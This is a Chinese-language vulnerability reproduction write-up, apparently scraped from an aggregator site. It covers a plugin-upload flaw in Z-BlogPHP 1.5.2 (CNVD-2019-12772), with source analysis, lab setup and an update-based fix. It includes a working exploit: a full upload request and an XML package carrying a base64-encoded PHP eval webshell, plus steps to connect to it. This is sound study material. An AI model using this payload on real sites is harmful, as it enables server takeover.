Z 您所在的位置:网站首页 zblogphp提示主题模板的编译文件不存在 Z

Z

2024-07-17 07:12| 来源: 网络整理| 查看: 265

文章目录 0x01 简介0x02 漏洞概述0x03 影响版本0x04 漏洞编号0x05 漏洞分析第一步 获取数据包,查看文件上传功能接口第二步 查看该文件源码第三步全局搜索该函数,查看UnPack函数第四步 首先对app.php中的源码进行分析第五步 接着向下,继续分析,第六步 则根据最后一步骤,可生成开始时的exp, 0x06 环境搭建第一步 使用phpstudy搭建网站第二步 解开源码压缩包第三步 打开浏览器第四步 默认下一步,直到数据库配置第五步 创建数据库第六步 输入相关信息点击下一步第七步 跳转至首页 0x07漏洞复现第一步 创建pass.xml第二步 base64加密第三步 访问网站第四步 登录后台,查看漏洞点第五步 提交后,使用工具连接第六步 连接该文件 0x08 漏洞修复免责声明

0x01 简介 Z-Blog是由Z-Blog开发团队开发的一款小巧而强大的基于Asp和PHP平台的开源程序,致力于给用户提供优秀的博客写作体验。 0x02 漏洞概述 Z-BlogPHP1.5.2Zero后台主题管理和插件管理处存在文件上传漏洞,攻击者可利用该漏洞获取网站服务器控制权。 0x03 影响版本 Z-blog Z-BlogPHP 1.5.2 0x04 漏洞编号 https://www.cnvd.org.cn/flaw/show/CNVD-2019-12772

在这里插入图片描述

0x05 漏洞分析 第一步 获取数据包,查看文件上传功能接口 POST /Z-BlogPHP_1_5_2_1935_Zero/zb_users/plugin/AppCentre/app_upload.php HTTP/1.1 Host: 192.168.253.194:8080 Content-Length: 564 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.253.194:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmjYAYBaK78uLRz8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.253.194:8080/Z-BlogPHP_1_5_2_1935_Zero/zb_system/admin/index.php?act=PluginMng Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: timezone=8; username=admin_123456; token=72d259b048974d2634509eb46532cc3ca0d78eb140e065cf72dceccddb4501f21652009809; addinfoZ-BlogPHP_1_5_2_1935_Zero=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22admin_123456%22%7D Connection: close ------WebKitFormBoundaryPmjYAYBaK78uLRz8 Content-Disposition: form-data; name="edtFileLoad"; filename="pass.xml" Content-Type: text/xml shell.php PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+ ------WebKitFormBoundaryPmjYAYBaK78uLRz8 Content-Disposition: form-data; name="B1" 鎻愪氦 ------WebKitFormBoundaryPmjYAYBaK78uLRz8 Content-Disposition: form-data; name="token" 2a384414a275c74d6e8fa60fec4b999e ------WebKitFormBoundaryPmjYAYBaK78uLRz8--

在这里插入图片描述

第二步 查看该文件源码

发现上传文件类型为xml,且使用unpack函数对数据进行解包

if (App::UnPack($xml)) { $zbp->SetHint('good', '上传APP并解压成功!'); Redirect($_SERVER["HTTP_REFERER"]); } else { $zbp->SetHint('bad', $zbp->lang['error']['64']); Redirect($_SERVER["HTTP_REFERER"]); }

在这里插入图片描述

第三步全局搜索该函数,查看UnPack函数

在这里插入图片描述

第四步 首先对app.php中的源码进行分析 发现当上传的文件不是xml时,就会通过simplexml_load_string() 函数加载其对象为false,并且当xml文件的version不等于php时,也会返回false,还有就是当xml文件上传成功后,通过一个type变量将上传的文件与zb_users文件进行拼接,也就是说上传成功的文件路径在/zb_users/xxx/下。

在这里插入图片描述

第五步 接着向下,继续分析,

发现此处对xml文件进行了遍历,当传入的文件xml不存在时,就会在之前的路径下新创建一个0755的文件,并将其指向floder标签下;如果传入的xml文件存在,就会将其指向stream标签下的file这个文件,并通过base64编码的方式与其拼接。

在这里插入图片描述

第六步 则根据最后一步骤,可生成开始时的exp,

设定version为php,文件内容为base64编码后的一句话木马,path为*.php,根据源码规则,会在zb_users下新建*.php文件,内容便为解码后的一句话木马。

0x06 环境搭建 第一步 使用phpstudy搭建网站

启动phpstudy后启动apache及mysql,打开网站根目录。 在这里插入图片描述

第二步 解开源码压缩包

将文件夹下所有文件复制至网站根目录下。 在这里插入图片描述

第三步 打开浏览器

访问127.0.0.1或localhost,自动跳转至install目录,开始安装过程。 在这里插入图片描述 在这里插入图片描述

第四步 默认下一步,直到数据库配置

在这里插入图片描述

第五步 创建数据库

在这里插入图片描述

第六步 输入相关信息点击下一步

出现安装结果,安装完成,点击完成, 在这里插入图片描述

第七步 跳转至首页

在这里插入图片描述

0x07漏洞复现 第一步 创建pass.xml

在本地新建文件pass.xml,内容如下:

shell.php PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+

在这里插入图片描述

第二步 base64加密

PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+为base64编码后的一句话木马,原内容为 在这里插入图片描述

第三步 访问网站

点击右方链接登陆后台 在这里插入图片描述 在这里插入图片描述

第四步 登录后台,查看漏洞点

点击“插件管理”,选择提前新建的文件pass.xml并提交

在这里插入图片描述 在这里插入图片描述

第五步 提交后,使用工具连接

位于/zb_users/目录下,文件名为shell.php,密码为pass 在这里插入图片描述

第六步 连接该文件

在这里插入图片描述 在这里插入图片描述

0x08 漏洞修复

更新系统版本为官方最新版

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

      专题文章
        CopyRight 2018-2019 实验室设备网 版权所有